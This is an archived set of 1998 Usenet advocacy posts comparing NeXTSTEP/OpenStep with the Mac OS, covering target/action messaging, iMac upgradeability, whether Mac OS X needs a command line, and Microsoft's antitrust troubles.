> > know what object will respond if any.
>
> Nothing new here.
This is absolutely new, as your questions to me clearly demonstrated.
Every time I said "you freeze out the message" you asked (100% of the time)
"well, isn't that a callback?". No, it is not a callback. The GRAPHICAL
OBJECTS can make METHOD CALLS directly. That is not a callback! This IS
utterly unlike anything out there with the exception of JavaBeans.
> > With Openstep, the message is sent. It does not matter who sent the
massage.
> > It does not matter what the massage is. It does not matter who receives
the
> > message. All messages are the same. In fact the message sent and the
> > receiver can be changed dynamically at run-time without recompile. See
> > Objective-TCL or Joy for examples of this.
>
> Finally, the answer I was looking for. A bit unspecific, unfortunately.
> I've got some Objective C docs, though, so don't feel obliged.
Well Mike, I've said this exact statement several days ago. I'm glad to
see you finally found it.
> Definitely nothing new here. It's like one of those advertisement
> jingles that you can't get out of your head, you've heard it so many
> times, but it sort of makes you uninterested in the product...
Yes, but drinking Coke from a new can will have little effect on your
ability to do work. Using OpenStep will have a great effect on your ability
to do work. That is the difference.
As I mentioned to Loren, I hestitate talking about how good it is because
then people automatically assume we're full of crap. Nothing could possibly
be that good, right? Well who's losing out if you don't try it? Sometimes
the "ads" are actually correct.
Maury
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 2 Jul 1998 20:17:48 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6pnqnc.dci.sal@panix3.panix.com>
References: <see-below-2706980601240001@dynamic5.pm04.mv.best.com> <B1BA74A7-1BBBC@206.165.43.101> <see-below-2706981947260001@dynamic22.pm01.mv.best.com> <3595DD89.55EAD2AD@nstar.net> <slrn6pij50.rei.sal@panix3.panix.com> <35996BC8.2869@exu.ericsson.se> <slrn6pj7r8.4ij.sal@panix3.panix.com> <3599AE58.5E54D75E@nstar.net> <slrn6pnb5s.agd.sal@panix3.panix.com> <359BB6E5.C244275F@exu.ericsson.se>
On Thu, 02 Jul 1998 11:35:50 -0500, Michael Peck <eusmpec@exu.ericsson.se> wrote:
>Many LC buyers were later regretful of their decision to buy a
>non-expandable machine:
Then they bought the wrong machine. I know plenty of people that regret
buying a desktop rather than a laptop. I don't see that as being an
argument for all desktops having to be portable.
Rather than trying to build something that is all things to all users,
Apple should be building things that have a clear use for a well defined
market.
>one of my best friends in college bought an
>LCIII sometime in mid-1994 that became obsolete before the end of his
>first year. His next machine was a PC.
My SE became an SE/30. I did a few memory upgrades. I swapped the HD
for a larger one. At no point did I miss having "slots" and my next
machine was also a PC. I needed one for work. If the LCIII didn't meet
his needs, then it wasn't the machine for him. I know people who are
still using 030 and 040 Macs. I can't think of anyone I know with a PC
that is over four years old.
(BTW, all the upgrades I listed for the SE are possible for the iMac)
>> I don't think so. Laptops don't have slots and lots of people buy them.
>Laptops have PCMCIA expansion slots.
They don't accept PCI cards. How do I add 3dfx to a laptop? MPEG? Can I
upgrade the CPU? Standard PC memory simms? This doesn't stop people from
buying laptops.
>> The palm pilot sells very well, outselling WinCE and Newton machines
>> and it lack the PCMCIA slots that the WinCE and Newton machines had.
>Different market, different product.
That describes the iMac as well.
>Many of them actually buy
>new computers, and instead of discarding old PCs, want to know from me
>how they can spend a minimum on upgrading them so that a family member
>can use it (for college, for email, for Web access, whatever). I usually
>get them commodity items for less than $400, total, and the beneficiary
>gets a whole computer, ready to run Windows 95 and Office 98.
If the upgrade gives the person a "new computer" for $400, then why do
people buy new computers? They don't want to upgrade, they want a new
computer. And Macs tend to be turned into "hand-me-downs" as well. My
SE/30 went to two other users before being tossed away.
> From what
>you've theorized, this is the market that could use an iMac, anyway.
>Well, I can undersell the iMac, and so can anybody who recognizes the
>virtues of upgradeability.
The iMac can be upgraded in a few ways. Memory can be added. The HD
could be replaced. The CD might also be replacible. You can add USB
devices (including sound hardware). The CPU is on a card, so I'm sure
that someone will offer CPU upgrades.
>News flash: this market is buying sub-$1000 PCs.
Reality check: They aren't buying iMacs, because they aren't on sale yet.
The market hasn't accepted or rejected it yet. I would expect good opening
sales based on "object value" followed by a sharp drop. After that, Apple
will lower the price and sell it as a loss-leader. I expect the price to
be under $900 by Nov 1st
> The iMac will
>reportedly retail for at least 30% more.
The price will go down. Keep in mind that most of the sub $1k PCs are
pentium or AMD based systems, not p-2 systems. As they drop down into
the $1k range, the iMac should compare well against them.
--
sal@panix.com
Salvatore Denaro
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: 2 Jul 1998 16:32:41 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6ngcn9$lss$1@ns3.vrx.net>
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Cc: eusmpec@exu.ericsson.se
In <359BF96E.1ACEFEAF@exu.ericsson.se> Michael Peck claimed:
> > Balogna, in general programming circles this is TERRIBLY new, spawing
whole
> > industries like Java and CORBA. This is new. This is the key to the
whole
> > system.
>
> "Nothing new here" means "you're not telling me anything new". Keep it
> in mind.
I believe this was new to you.
> > This is absolutely new, as your questions to me clearly demonstrated.
> > Every time I said "you freeze out the message" you asked (100% of the
time)
> > "well, isn't that a callback?".
>
> Every time you said "you freeze out the message" (100% of the time) you
> were talking about point-and-click in Interface Builder.
I absolutely was not.
> to embarass you, so I asked if you could specifically point out the
> mechanism in use.
Which I did, on at least two occasions.
> > No, it is not a callback. The GRAPHICAL
> > OBJECTS can make METHOD CALLS directly. That is not a callback!
>
> This is bullshit. The way Erik describes it, no, it's not a callback.
That's right, it's not a callback. Thank you for swearing at me.
> That's the answer I was looking for. All you're saying is, and I quote,
> "THE GRAPHICAL OBJECTS can make METHOD CALLS directly." That may or may
> not be a callback, you're not providing any substance whatsoever.
You mean aside from the several references to selectors, targets, id's and
method dispatch?
> All you did was describe the way it looks from IB.
I don't ever remember describing what it looks like from IB. From IB it
looks like a heavy black line.
> No, it's not new, and it's not unique.
That's not what I said, I said the ability to freeze it out into the NIB is
what makes it unique. The same system lets you send messages to objects in
remote processes, save documents to disk, and delay execution of messages.
> understand. Which makes me wonder why I bothered walking this far with
> you down Revelation Lane as you sputtered and stuttered your way here.
Ahhh, I see, it's my fault.
> Sometimes you should change the channel.
I've tried for a week to illustrate just one of the many things that makes
OS programming so much fun, and in return I get your standard piss and
vinegar.
Maury
From: Michael Peck <eusmpec@exu.ericsson.se>
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: Thu, 02 Jul 1998 17:06:55 -0500
Organization: Ericsson North America Inc.
Message-ID: <359C047F.2D1BA47C@exu.ericsson.se>
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Maury Markowitz wrote:
> > to embarass you, so I asked if you could specifically point out the
> > mechanism in use.
>
> Which I did, on at least two occasions.
Then we talked past each other. There have been a lot of topics being
thrown back and forth and there's a lot of terminology with associations
in the OPENSTEP world with which I'm not familiar. Much of what you
originally said made no sense to me; now that I've looked back on
yesterday's posts, it looks different.
> > That's the answer I was looking for. All you're saying is, and I quote,
> > "THE GRAPHICAL OBJECTS can make METHOD CALLS directly." That may or may
> > not be a callback, you're not providing any substance whatsoever.
>
> You mean aside from the several references to selectors, targets, id's and
> method dispatch?
That was in one single posting, one which I hadn't seen much of (due to
the way my mail servers are handling the dates on your messages). I
apologize for not reading that one more carefully.
> > No, it's not new, and it's not unique.
>
> That's not what I said, I said the ability to freeze it out into the NIB is
> what makes it unique. The same system lets you send messages to objects in
> remote processes, save documents to disk, and delay execution of messages.
Right, and I see that that is true. All of the terminology aside, I
insist that all of this is simply binding a function to a particular
action, however, whenever, and to whomever that function is bound aside.
This is not logic, in and of itself (although I admit that you have
frequently said this yourself). It *is* nice, but going back to the
original point concerning interface logic, it's just "nice", it's not a
solution or even a partial solution.
> > understand. Which makes me wonder why I bothered walking this far with
> > you down Revelation Lane as you sputtered and stuttered your way here.
>
> Ahhh, I see, it's my fault.
No, it's my fault.
> > Sometimes you should change the channel.
>
> I've tried for a week to illustrate just one of the many things that makes
> OS programming so much fun, and in return I get your standard piss and
> vinegar.
Whatever. It would be boorish to complain at this point, so cheers :-)
MJP
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Thu, 02 Jul 1998 09:54:43 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R0207980954430001@news>
References: <Beri1.3521$r5.1600425@proxye1.san.rr.com> <358EEC0C.248A@earthlink.net> <6mobfr$odg$1@hole.sdsu.edu> <3591FF45.40D0@earthlink.net> <6mua07$7ps$1@hole.sdsu.edu> <359355C7.35E4@earthlink.net> <3593D6F3.871ED245@nstar.net> <6n0q8j$o4j$1@ndnws01.ne.highway1.com> <3593EEF0.4785E327@nstar.net> <6n11me$sen$1@ndnws01.ne.highway1.com> <35941317.FC21AD89@nstar.net> <6n1s6g$ldf$1@ndnws01.ne.highway1.com> <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nem06$3cg$1@lwnws01.ne.highway1.com>
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In article <6nem06$3cg$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
> Since when did this become a NeXTSTEP is better debate? I should
> just say go look back at DeJaNews. Furthermore, I didn't use the
> term "paradigm shift" someone else did in this thread. But ok:
>
> He said something like: I tried NeXTSTEP for a month and didn't
> like it.
>
> I said: If you your attempt was not one where NeXTSTEP was your
> primary environment, the one you were forced to use without the
> crutch of another environment, then I didn't accept that he "got"
> what NeXTSTEP is all about.
And "getting" it is something which you have been unable to quantify or
qualify. With that is mind, you can see how someone would be skeptical. In
fact, I'm sure that if I used any one operating system for three months
straight, I would probably get used to it and maybe even like it. But if
NeXTStep is actually superior to the Mac OS, then that superiority should
at least be evident in a side-by-side comparison, or should be evident
through stated examples. Saying that you need an exclusive, long-term
experience with an OS to realize its superiority is ludicrous.
> Why? Because the NeXTSTEP GUI is difficult to get a grasp of when
> you are coming to it with biases from other environments.
Name some of these biases. Name one! As long as you keep speaking in such
vague terms, your arguments seem to have no bearing on reality.
> It's
> kinda like the skip from procedural programming, to real OOP
> programming (which very few have actually "gotten");
Ah, but I have been able to describe the benefits of OOP to other people,
and they have at least had some realization of the benefits. I didn't tell
them that they would only get it after three months of programming, with no
other languages to fall back on.
> Once you "get" the environment, you find that
> many things are tons easier and more natural and wonder "why did
> I ever do things differently"
Examples please. If things are so much easier and more natural, there
should be at least ONE example of something that is superior that you don't
need three months to figure out.
> Not everything in life is
> easy to master,
We're not talking about mastery; we're talking about realization. You are
saying that it takes months just to realize the benefits of NeXTStep.
> > And no, throwing abour insults like "your ignorance is your own
> > punishment" doens't help your case either.
>
> Again, I don't care. I don't want to bother advocating that the
> NeXT UI is better, or prove to him that something is better. Lemmee
> see. I have to bother arguing about something that I know about,
> and he clearly does not as other "NeXTies" will easily see from
> his posts. So in the process of arguing, I have to educate, him,
> or you, or who cares. For this annoying effort I, my reward will
> be annoying banter, and in the end will not be appreciated one
> little bit.
Gee, it seems like you would have stopped posting years ago with this
realization. But personally, I would appreciate some evidence of the
superiority of NeXTStep. Don't fall back on the "I'm not appreciated"
excuse.
Andy Bates.
From: embuck@palmer.cca.rockwell.com (Erik M. Buck)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 2 Jul 1998 18:01:30 GMT
Organization: Rockwell International
Message-ID: <6nghtq$vo91@onews.collins.rockwell.com>
References: <358EEC0C.248A@earthlink.net> <6mobfr$odg$1@hole.sdsu.edu>
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Cc: tokarek@uiuc.edu
In <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> Pulsar wrote:
> Antialiasing? Mac OS 8.5 soon and any of various utilities do this on the
> Mac OS now.
>
> Ryan Tokarek
> <tokarek@uiuc.edu>
> <http://www.ews.uiuc.edu/~tokarek>
>
You validate the fact the the Nextstep GUI was superior to the Mac GUI by
saying that all of the superior features of the NeXT GUI will be in a future
MacOS GUI. If they were not superior you wouldn't want them added.
Specifically referencing your claim that resource forks are somehow
equivalent to wrappers and nibs in NeXtstep, You must be out of your mind!
Add a correctly functioning Print menu item to a MacOS app that does not
already have one. Add FAX support to ever app that can print. Enable spell
checking in a MacOS app that does not already support spell checking. All of
this and more is possible with Nextstep without recompiling or having any
detailed knowledge of the apps structure.
I like large icons but tastes will differ.
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Thu, 2 Jul 1998 13:58:52 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980702133628.13985A-100000@ux7.cso.uiuc.edu>
References: <6mua07$7ps$1@hole.sdsu.edu> <359355C7.35E4@earthlink.net> <3593D6F3.871ED245@nstar.net> <6n0q8j$o4j$1@ndnws01.ne.highway1.com> <3593EEF0.4785E327@nstar.net> <6n11me$sen$1@ndnws01.ne.highway1.com> <35941317.FC21AD89@nstar.net> <6n1s6g$ldf$1@ndnws01.ne.highway1.com> <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <6nghtq$vo91@onews.collins.rockwell.com>
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On 2 Jul 1998, Erik M. Buck wrote:
> In <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> Pulsar wrote:
> >
> > Ryan Tokarek
> > <tokarek@uiuc.edu>
> > <http://www.ews.uiuc.edu/~tokarek>
>
> You validate the fact the the Nextstep GUI was superior to the Mac GUI by
> saying that all of the superior features of the NeXT GUI will be in a future
> MacOS GUI. If they were not superior you wouldn't want them added.
I wanted to make the point that these features are not the exclusive
domain of NeXTStep. I also wanted to make sure that it was known that the
Mac OS UI is not static and is changing with each release. Most of the
features that are making it now into Mac OS came directly from Copland.
Certainly some of them have come directly from NeXTStep.
There are certainly good aspects to NeXTStep and I definitely wouldn't
want to imply otherwise. There are certainly elements to the NeXT UI that
are superior to the Mac OS as it is right now with no additions.
Certainly the fact that NeXT was founded on preemptive multitasking where
the Mac was founded on single tasking has profound impacts that are only
now being seriously addressed in the Mac OS. The use of modal dialogs is
far too extensive. Each release of the Mac OS goes a little bit further
away. Mac OS 8.5 should take an even larger step by making Open/Save
dialogs non-system-modal (Navigation Services).
There are a few aspects to the NeXT UI that I don't like (though I
don't have a lot of experience with the NeXT UI).
> Specifically referencing your claim that resource forks are somehow
> equivalent to wrappers and nibs in NeXtstep, You must be out of your mind!
>
> Add a correctly functioning Print menu item to a MacOS app that does not
> already have one. Add FAX support to ever app that can print.
The FAX support is easy. It's been done before. The application needs have
no information that it's not printing to a printer, but rather sending a
FAX.
> Enable spell
> checking in a MacOS app that does not already support spell checking. All of
> this and more is possible with Nextstep without recompiling or having any
> detailed knowledge of the apps structure.
While resources are not as wide reaching as the NeXT equivalents,
resources do allow you to alter many aspects of an application without
recompiling. You can alter/add menus, dialog boxes, images, icons, some
behaviors, and sometimes add new functionality all without a recompile.
To say that the Mac OS has absolutely nothing equivalent is strictly
correct, but ignores that resources allow for a subset of the same level
of functionality.
> I like large icons but tastes will differ.
I would like to see a choice. I hate large icons on the screens that I
work with. They do not present any significant additional information and
only waste space that could be used for more icons or reducing window
clutter. On larger screens, they might well be more helpful, but I don't
want to be locked in to 48x48 icons _or_ 16x16 icons. A choice of all
three (48x48, 32x32, and 16x16) would be best.
I want the option of 48x48 icons, but I don't want to be forced to use
them. Mac OS 8.5 allegedly adds support for 48x48 icons.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
Date: Thu, 02 Jul 1998 13:15:53 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Message-ID: <joe.ragosta-0207981315530001@wil82.dol.net>
References: <359AA759.223E97B4@exu.ericsson.se> <6neblu$2hd@shelob.afs.com> <359B23CC.8672B274@trilithon.com> <joe.ragosta-0207980828430001@wil46.dol.net> <359B92BB.8BCF78CC@nstar.net> <joe.ragosta-0207981153310001@wil55.dol.net> <359BB732.66127BE@exu.ericsson.se>
In article <359BB732.66127BE@exu.ericsson.se>, Michael Peck
<eusmpec@exu.ericsson.se> wrote:
> Joe Ragosta wrote:
>
> > > 4) Has a sense of humor
> >
> > Possibly, but then you've got a case of the press taking his comments
> > completely out of context. If this were the case, you'd think he'd have
> > spoken up.
>
> Quick question: have you actually emailed Dr. Mankiw personally?
No. But I'm not the one proposing all sorts of things about why he wrote
what he did and I'm also not the person who's arguing that his comments
are somehow more meaningful if he wrote them with MS Word than with
WordPerfect. You're the one taking those positions.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Thu, 02 Jul 1998 15:58:32 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Message-ID: <joe.ragosta-0207981558320001@wil47.dol.net>
References: <358EEC0C.248A@earthlink.net> <6mobfr$odg$1@hole.sdsu.edu> <3591FF45.40D0@earthlink.net> <6mua07$7ps$1@hole.sdsu.edu> <359355C7.35E4@earthlink.net> <3593D6F3.871ED245@nstar.net> <6n0q8j$o4j$1@ndnws01.ne.highway1.com> <3593EEF0.4785E327@nstar.net> <6n11me$sen$1@ndnws01.ne.highway1.com> <35941317.FC21AD89@nstar.net> <6n1s6g$ldf$1@ndnws01.ne.highway1.com> <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <6nghtq$vo91@onews.collins.rockwell.com>
In article <6nghtq$vo91@onews.collins.rockwell.com>,
embuck@palmer.cca.rockwell.com (Erik M. Buck) wrote:
> In <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> Pulsar wrote:
> > Antialiasing? Mac OS 8.5 soon and any of various utilities do this on the
> > Mac OS now.
> >
> > Ryan Tokarek
> > <tokarek@uiuc.edu>
> > <http://www.ews.uiuc.edu/~tokarek>
> >
> You validate the fact the the Nextstep GUI was superior to the Mac GUI by
> saying that all of the superior features of the NeXT GUI will be in a future
> MacOS GUI. If they were not superior you wouldn't want them added.
>
> Specifically referencing your claim that resource forks are somehow
> equivalent to wrappers and nibs in NeXtstep, You must be out of your mind!
>
> Add a correctly functioning Print menu item to a MacOS app that does not
> already have one. Add FAX support to ever app that can print. Enable spell
> checking in a MacOS app that does not already support spell checking. All of
> this and more is possible with Nextstep without recompiling or having any
> detailed knowledge of the apps structure.
You can do all of these things on the Mac today (except the "Print menu
item". I don't know what you mean by that).
I'm not claiming that the Mac OS UI is better or worse than NeXT's (I've
never used the NeXT GUI). But please try to check your facts before
posting.
>
> I like large icons but tastes will differ.
Personally, I can't stand them, but you're right--it's a matter of taste.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: Thu, 02 Jul 1998 20:36:58 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6ngr1a$pcc$1@nnrp1.dejanews.com>
References: <6ng2mk$erb$1@news.cmc.net>
In article <6ng2mk$erb$1@news.cmc.net>,
com.occam@leonvs wrote:
> 2) What if you need to boot single-user (or whatever you call
> "recovery mode")? What if your display settings are incorrect,
> and you boot into a black screen? Booting to the single-user CLI
> allows you to change the settings manually. There are other
> reasons you might need to, or does Apple plan to make this very
> occasional necessity a thing of the past somehow?
If Apple wants to sell MacOS X to current MacOS users, this can never be
required. Apple would be best keep the current system where the user can cause
the system to boot into a safe configuration. The system should also detect
things like corrupted PRAM on it's own. BTW, I think that pressing the shift
key should die and a button should take it's place.
Also, look at the SGI system. When you have a problem, you click the
"troubleshoot" button at startup and the machine gives you a minimal graphical
interface to fix the problem. It's very elegant.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: phenix@interpath.com (John Moreno)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: Thu, 2 Jul 1998 17:08:38 -0400
Organization: phenix@interpath.com
Message-ID: <1dbju35.15eiv3g1e9ie9qN@roxboro0-017.dyn.interpath.net>
References: <6n6a2e$21s$1@news.cmc.net> <trev-2906981959200001@nas-p1.usc.net> <6na31a$mt9$1@news.tuwien.ac.at> <rex-3006980851470001@cc497300-a.wlgrv1.pa.home.com> <slrn6phs4i.8t0.mark@sapphire.oaai.com> <EvDxGy.GIC@basil.icce.dev.rug.null.nl> <Pine.NXT.3.96.980630214141.1372C-100000@pathos> <6nggls$cu6$2@news.spacelab.net>
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: never
In comp.sys.next.advocacy Charles W. Swiger <chuck@codefab.com> wrote:
> Bill Bumgarner <bbum@codefab.com> wrote:
> >There is actually very little that a command line buys you that cannot be
> >very easily duplicated with a minimal amount of effort using AppleScript,
> >Perl, Tcl, Python or any of the myriad of other scripting languages out
> >there.
>
> There's the obvious difference between immediate and deferred execution.
> While scripting languages are fine and dandy for some problem domains, they
> are not a replacement for the interactive shell.
>
> Quick-- you've got a server that's not booting all the way into multiuser
> mode, and you've got to do some work to fix it. Having to fire up an editor
> and write a script to fix the problem would completely lose compared to an
> immediate mode shell.
>
> And, of course, if your scripting language requires the GUI (can you run
> AppleScript without the Finder?), or /usr/local isn't mounted so you can't
> run /usr/local/bin/perl (or tclsh, or whatever), you're SOL.
Not to disagree with your basic point - but yes AS can run without the
Finder and you can mount remote volumes without it too.
Of course - a lot of the stuff that you would do with AS, like
create/move/modify/duplicate files will either require the Finder or
something else which can do the job as I don't believe those can be done
from within AS without recourse to other apps.
--
John Moreno
From: Michael Peck <eusmpec@exu.ericsson.se>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: Thu, 02 Jul 1998 16:17:56 -0500
Organization: Ericsson North America Inc.
Message-ID: <359BF904.AB972774@exu.ericsson.se>
References: <359AA759.223E97B4@exu.ericsson.se> <6neblu$2hd@shelob.afs.com> <359B23CC.8672B274@trilithon.com> <joe.ragosta-0207980828430001@wil46.dol.net> <359B92BB.8BCF78CC@nstar.net> <joe.ragosta-0207981153310001@wil55.dol.net> <359BB732.66127BE@exu.ericsson.se> <joe.ragosta-0207981315530001@wil82.dol.net>
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Joe Ragosta wrote:
> > Quick question: have you actually emailed Dr. Mankiw personally?
>
> No. But I'm not the one proposing all sorts of things about why he wrote
> what he did and I'm also not the person who's arguing that his comments
> are somehow more meaningful if he wrote them with MS Word than with
> WordPerfect. You're the one taking those positions.
And what is your point? I could just as easily say, "I'm not the person
who's arguing that his comments are somehow 'pure, unadulterated
bullshit'", now, couldn't I?
The burden of argument is on you for two reasons:
1) you haven't offered anything but polemics for your position
2) you're the one being critical
MJP
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: 2 Jul 1998 21:53:17 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6ngvgd$ers$1@news.spacelab.net>
References: <6ng2mk$erb$1@news.cmc.net> <6ngr1a$pcc$1@nnrp1.dejanews.com>
quinlan@intergate.bc.ca wrote:
>In article <6ng2mk$erb$1@news.cmc.net>,
> com.occam@leonvs wrote:
>> 2) What if you need to boot single-user (or whatever you call
>> "recovery mode")? What if your display settings are incorrect,
>> and you boot into a black screen? Booting to the single-user CLI
>> allows you to change the settings manually. There are other
>> reasons you might need to, or does Apple plan to make this very
>> occasional necessity a thing of the past somehow?
>
> If Apple wants to sell MacOS X to current MacOS users, this can never be
> required. Apple would be best keep the current system where the user can
> cause the system to boot into a safe configuration. The system should
> also detect things like corrupted PRAM on it's own. BTW, I think that
> pressing the shift key should die and a button should take it's place.
Every modern OS should ship with a "safe" boot option, whether it be Shift on
the Mac, config=Default under OPENSTEP, VGA/Safe mode under M$ Windows, or
what have you.
However, it's important to note that having a single-user CLI mode lets you
perform some serious low-level recovery on a badly-screwed up system where
other operating systems force you to give up and reinstall.
Having to reinstall indicates that the operating system failed to do it's job
of arbitrating and managing system resources.
---semi-related idea---
I really, truly despise systems that prevent the user from seeing what's
actually going on. I have no objection to simplified, friendly interfaces
that let inexperienced users set up their systems without having to
understand all of the techie details. But an experienced user should have
the option to look at those details if needed.
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: devnull@occam.com (Leon von Stauber)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Apple: No CLI in Mac OS X
Date: 2 Jul 1998 13:41:40 GMT
Organization: Occam's Razor
Message-ID: <6ng2mk$erb$1@news.cmc.net>
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A couple more points come up when you lose the command line:
1) How do you run a system headless? Granted, it's not easy with
NEXTSTEP and ilk, but it can be done, and then you'd still have
full access to the system over the network. (Even to graphical
apps, with NSHost.) Saves a lot of space in server rooms.
2) What if you need to boot single-user (or whatever you call
"recovery mode")? What if your display settings are incorrect,
and you boot into a black screen? Booting to the single-user CLI
allows you to change the settings manually. There are other
reasons you might need to, or does Apple plan to make this very
occasional necessity a thing of the past somehow?
And, of course, the big one already mentioned:
3) Full UNIX-like remote admin capabilities on every box.
_______________________________________________________________
Leon von Stauber http://www.occam.com/leonvs/
Occam's Razor, Game Designer <com.occam@leonvs>
Metapath Software, UNIX System Admin <com.metapath@lvonstau>
"We have not come to save you, but you will not die in vain!"
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Date: Thu, 2 Jul 1998 08:36:02 -0500
Message-ID: <359b8d6f.1873915@hydra>
From: brother@trinity.mensa.net (Identity Withheld)
Subject: Re: ISP's run NT? Hogwash!
References: <6ndql0$a7u$4@bertrand.ccs.carleton.ca> <359a800f.17939822@hydra> <joe.ragosta-0107981511100001@wil51.dol.net>
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On Wed, 1 Jul 1998 14:11:09 -0500 , joe.ragosta@dol.net (Joe Ragosta)
wrote:
>In article <359a800f.17939822@hydra>, brother@trinity.mensa.net (Identity
>Withheld) wrote:
>
>> On Wed, 1 Jul 1998 12:12:00 -0500 , dfs@doe.carleton.ca (David F.
>> Skoll) wrote:
>>
>> >In article <3599df70.1369774@hydra>, Identity Withheld
>> >(brother@trinity.mensa.net) wrote:
>> >
>> >> >I believe their suit claims that Microsoft is not delivering things it
>> >> >should have. They may have a "license" to the code, but do they have
>> >> >the code itself?
>> >
>> >> Not only do they have the source code, they have a version of NT they
>> >> built and market that runs as a service on Unix.
>> >
>> >AT&T claims Microsoft has not delivered something it agreed to deliver.
>> >I can't comment on this; presumably, neither can you unless you have
>> >inside information.
>>
>> I keep reading right in these newsgroups about one superiority of Unix
>> being the source code is there. So AT&T has the source code and is now
>> bitching about... what? Seems you haven't read the case synposis,
>> meaning you're posting only because it's something that's anti-MS.
>
>Actually, my understanding is that AT&T was suing precisely because MS
>would _not_ release the source code to them, even though their agreement
>requires it.
>
>I may be wrong, though. Do you have a URL?
AT&T has the source code. They have their own version of NT that runs
as a process on Unix. This feat would not be possible if they didn't
have the source code. No, I don't have a URL.
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 2 Jul 1998 14:02:17 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6ng3t9$t6d$1@news.cs.tu-berlin.de>
References: <359AA759.223E97B4@exu.ericsson.se> <6neblu$2hd@shelob.afs.com> <359B21AB.E6A26F64@nstar.net>
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Michael Peck <mjpeck@nstar.net> writes:
>Gregory H. Anderson wrote:
>> The original article on CNNfn.com made QUITE clear that Dr. Mankiw
>> attended the press conference at the behest of Microsoft:
>>
>> Another supporter called on by the software giant was Gregory
>> Mankiw, professor of economics at Harvard University, who said the
>> government's attempt to delay Windows 98 "would throw sand into the
>> gears of human progress."
>>
>> So if he now contends he is NOT an advocate for Microsoft, then the only
>> explanation for his remarks is that he stupidly allowed himself to be
>> *used* by Microsoft. I hope he at least got some free software for it.
>This is ridiculous. I'd go to any press conference for any company being
>subjected to governmental abuse and speak out for free-market economics.
The enforcement of applicable laws is not "government abuse". It
is quite clear that Microsoft has abused their power to deny competitors
access to the market. The question at hand is wether the abuse that
they have committed is in violation of current laws.
>That doesn't make me a shill for anything but free-market economics.
What you seem to be advocating is not "free-market" economics.
Free market economics always include a regulatory instance
laying down the rules for participation in the market and
enforcement of those rules.
Absolute freedom cannot exist, it must always be limited by
the freedom of others.
>Your quote above makes it quite clear what Dr. Mankiw's point was. I
>don't know why you keep trying to read something else into it, except
>that it makes for another convenient target for your Microsoft-phobia.
>> BTW, we don't have an "unfettered market economy" in this country --
>> we haven't since the late 1800s -- and Microsoft provides a compelling
>> example of why this is a good thing.
>Ugh, this just makes me sick. Everything I stand for as a member of the
>human race runs contrary to this.
So what you stand for is a gangster-society where might = right?
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
